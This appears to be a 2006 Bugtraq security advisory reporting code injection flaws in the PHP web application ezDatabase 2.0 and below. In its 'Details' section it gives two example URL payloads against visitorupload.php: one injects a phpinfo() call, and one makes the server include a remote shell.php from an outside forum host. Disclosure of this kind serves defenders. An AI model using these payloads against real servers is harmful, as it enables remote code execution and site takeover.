[42187] in bugtraq
ezDatabase 2.0 and below
daemon@ATHENA.MIT.EDU (none@none.com)
Sat Jan 14 14:57:53 2006
Date: 14 Jan 2006 15:16:39 -0000
Message-ID: <20060114151639.3151.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: none@none.com
To: bugtraq@securityfocus.com
ezDatabase 2.0 and below
ezDatabase 2.0 and below
=========================================
www.ezdatabase.org
"ezDatabase is the foundation for your online databases. It is a powerful web based application that allows even non-technical users to create online databases for their website. ezDatabase will do the hard work while you concentrate on building the databases you want."
______________________________________________
This vulnerability was first disclosed at:
www.unsecured-systems.com/forum/
By Pridels Team: pridels.blogspot.com
______________________________________________
Details:
This application insecurely uses variables in several ways.
Example:
visitorupload.php?db_id=;phpinfo()
visitorupload.php?db_id=;include(_GET[test])&test=http://www.unsecured-systems.com/forum/shell.php
registered_globals = on OR off
Solution:
Rewrite the application to follow the guidelines of the PHP Security Consortium
At this time there are several more vulnerabilites that have only been disclosed at:
www.unsecured-systems.com/forum/
